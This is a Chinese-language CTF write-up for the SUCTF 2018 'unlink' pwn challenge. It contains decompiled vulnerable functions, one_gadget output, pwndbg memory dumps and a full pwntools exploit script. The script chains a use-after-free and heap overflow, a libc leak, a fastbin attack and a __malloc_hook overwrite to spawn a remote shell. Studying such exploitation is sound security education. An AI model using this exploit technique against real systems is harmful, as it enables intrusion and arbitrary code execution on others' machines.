[SUCTF 2018 招新赛]unlink

UAF + 堆溢出 + unsorted bin 泄露 libc + fastbin attack + 伪造 __malloc_hook - 0x23 chunk + 覆盖 __realloc_hook / __malloc_hook + malloc 触发 one_gadget getshell

unsigned __int64 touch()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 10 && (&buf)[i]; ++i )
  {
    if ( i == 10 )
    {
      puts("the node is full");
      return __readfsqword(0x28u) ^ v3;
    }
  }
  puts("please input the size : ");
  if ( v1 >= 0 && v1 <= 512 )
  {
    __isoc99_scanf("%d", &v1);
    (&buf)[i] = (char *)malloc(v1);
    if ( (&buf)[i] )
      puts("touch successfully");
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 take_note()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which one do you want modify :");
  __isoc99_scanf("%d", &v1);
  if ( (&buf)[v1] != 0 && v1 >= 0 && v1 <= 9 )
  {
    puts("please input the content");
    read(0, (&buf)[v1], 0x100u);
  }
  return __readfsqword(0x28u) ^ v2;
}

很明显的,存在 UAF 和堆溢出漏洞,那么我们可以先通过 unsorted bin 泄露 libc ,然后利用 fastbin attack 申请到 __malloc_hook 附近,接着写 __realloc_hook / __malloc_hook ,最后触发 malloc 拿到 shell

ubuntu@niuyingying:~/ctf/pwn$ one_gadget /home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./service')
libc = ELF('/home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

# io = process('./service')
io = remote("node4.anna.nssctf.cn",26018)

# io = gdb.debug('./service', gdbscript='set pagination off\nb *0x4009A3\nc')

def touch(size):
    io.recvuntil(b"please chooice :\n")
    io.sendline(b"1")
    io.recvuntil(b"please input the size : \n")
    io.sendline(str(size).encode())

def delete(i):
    io.recvuntil(b"please chooice :\n")
    io.sendline(b"2")
    io.recvuntil(b"which node do you want to delete\n")
    io.sendline(str(i).encode())

def show(i):
    io.recvuntil(b"please chooice :\n")
    io.sendline(b"3")
    io.recvuntil(b"which node do you want to show\n")
    io.sendline(str(i).encode())
    io.recvuntil(b"the content is : \n")

def edit(i,data):
    io.recvuntil(b"please chooice :\n")
    io.sendline(b"4")
    io.recvuntil(b"which one do you want modify :\n")
    io.sendline(str(i).encode())
    io.recvuntil(b"please input the content\n")
    io.send(data)

# 0
touch(512)
# 1
touch(0x10)

delete(0)

# 0
touch(512)
show(0)

leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))

one_gadget = libc_base + 0x4527a
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']

# 2
touch(0x10)
# 3
touch(0x60)
# 4
touch(0x60)

delete(4)
delete(3)

# fastbin[0x70]: chunk3 → malloc_hook - 0x23
payload = p64(0) * 3 + p64(0x71) + p64(malloc_hook - 0x23)
edit(2,payload)

# 3
touch(0x60)
# 4
touch(0x60)

payload = b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 8)
edit(4,payload)

touch(0x10)

io.interactive()

这里可以补充一下, p64(malloc_hook - 0x23) 这是 fastbin attack 里非常经典的偏移,目标不是直接申请到 __malloc_hook ,而是前面一点即 fake_chunk = __malloc_hook - 0x23

那么 malloc 返回的用户指针就是

__malloc_hook - 0x23 + 0x10 = __malloc_hook - 0x13

所以我们就可以通过偏移写到

__realloc_hook = __malloc_hook - 0x8
__malloc_hook  = __malloc_hook

即得到

__realloc_hook = one_gadget
__malloc_hook  = realloc + 8

[!TIP]

注意常见 amd64 glibc 布局

python __memalign_hook = __malloc_hook - 0x10 __realloc_hook = __malloc_hook - 0x8 __malloc_hook = __malloc_hook

i386 glibc 布局

python __memalign_hook = __malloc_hook - 0x8 __realloc_hook = __malloc_hook - 0x4

再通过 debug 来看一下 0x23 的意义,由于我申请的是 0x60 ,对应 chunk size 为 0x70,也就是说在 __malloc_hook - 0x23 这个位置附近,要求刚好能让 fake_chunk + 0x8 处的内容看起来像一个合法的 0x7? size

pwndbg> p/x &__malloc_hook
$1 = 0x76c2c23c4b10
pwndbg> x/40gx (char *)&__malloc_hook - 0x40
0x76c2c23c4ad0: 0x0000000000000000      0x0000000000000000
0x76c2c23c4ae0: 0x0000000000000000      0x0000000000000000
0x76c2c23c4af0: 0x000076c2c23c3260      0x0000000000000000
0x76c2c23c4b00 <__memalign_hook>:       0x000076c2c2085ea0      0x000076c2c2085a70
0x76c2c23c4b10 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x76c2c23c4b20: 0x0000000000000000      0x0000000000000000
0x76c2c23c4b30: 0x0000000000000000      0x0000000000000000
0x76c2c23c4b40: 0x0000000000000000      0x0000000000000000
0x76c2c23c4b50: 0x00000000100a9250      0x0000000000000000
0x76c2c23c4b60: 0x0000000000000000      0x0000000000000000
0x76c2c23c4b70: 0x0000000000000000      0x00000000100a9330
0x76c2c23c4b80: 0x0000000000000000      0x000076c2c23c4b78
0x76c2c23c4b90: 0x000076c2c23c4b78      0x000076c2c23c4b88
0x76c2c23c4ba0: 0x000076c2c23c4b88      0x000076c2c23c4b98
0x76c2c23c4bb0: 0x000076c2c23c4b98      0x000076c2c23c4ba8
0x76c2c23c4bc0: 0x000076c2c23c4ba8      0x000076c2c23c4bb8
0x76c2c23c4bd0: 0x000076c2c23c4bb8      0x000076c2c23c4bc8
0x76c2c23c4be0: 0x000076c2c23c4bc8      0x000076c2c23c4bd8
0x76c2c23c4bf0: 0x000076c2c23c4bd8      0x000076c2c23c4be8
0x76c2c23c4c00: 0x000076c2c23c4be8      0x000076c2c23c4bf8

size = fake_chunk + 0x8 = __malloc_hook - 0x1b 也就是 0x76c2c23c4b10 - 0x1b = 0x76c2c23c4af5 ,注意 gdb 里的这一行

0x76c2c23c4af0: 0x000076c2c23c3260      0x0000000000000000

因为是小端序,所以从 0x...4af5 开始读 8 字节就是 76 00 00 00 00 00 00 00 ,满足检查

接下来再教一下 one_gadget 求偏移的方法,这里以 realloc + 8 为例,gebug 看到 libc 基地址为 0x7770a9e00000 ,于是

pwndbg> b *0x7770a9e00000 + 0x4527a
Breakpoint 2 at 0x7770a9e4527a
pwndbg> c
Continuing.
pwndbg> x/10gx $rsp+0x30
0x7ffd68ca8498: 0x00007770a9e6f80a      0x0000000000000000
0x7ffd68ca84a8: 0x0000000000000000      0x00007ffd68ca84d0
0x7ffd68ca84b8: 0x000000000040092c      0x0000000500000010
0x7ffd68ca84c8: 0xc90e5dd4551df900      0x00007ffd68ca84f0
0x7ffd68ca84d8: 0x0000000000400be5      0x0000000168ca85d0
pwndbg> x/s 0x00007770a9e6f80a
0x7770a9e6f80a <puts+362>:      "\203\370\377\017\205Z\377\377\377\353\210H\211\306\367E"

当 one_gadget 不满足时,可以尝试换 one_gadget 或者改 realloc + 偏移 ,比如

__malloc_hook = realloc
__malloc_hook = realloc + 8
__malloc_hook = realloc + 12
__malloc_hook = realloc + 0x10
__malloc_hook = realloc + 0x14
__malloc_hook = realloc + 0x16